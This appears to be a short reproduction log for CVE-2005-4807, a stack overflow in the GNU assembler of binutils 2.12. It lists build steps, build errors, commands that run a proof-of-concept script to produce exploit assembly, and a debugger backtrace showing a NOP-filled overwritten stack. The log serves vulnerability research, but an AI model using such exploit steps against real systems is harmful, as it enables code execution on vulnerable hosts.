wget https://github.com/mudongliang/source-packages/raw/master/CVE-2005-4807/binutils-2.12.tar.gz

tar -xvf binutils-2.12.tar.gz
cd binutils-2.12

./configure
make

/usr/bin/msgfmt: not found

/usr/bin/ld: cannot find -lfl

sh gas_poc.sh > exploit.c
gcc -S -o exploit.s exploit.c
./binutils-2.12/gas/as-new exploit.s

gas/message.c:349

	vsprintf (buffer, format, args);

#0  0x08058e31 in as_bad (format=Cannot access memory at address 0xbfffeacc
) at messages.c:344
#1  0x90909090 in ?? ()
#2  0x90909090 in ?? ()
#3  0x90909090 in ?? ()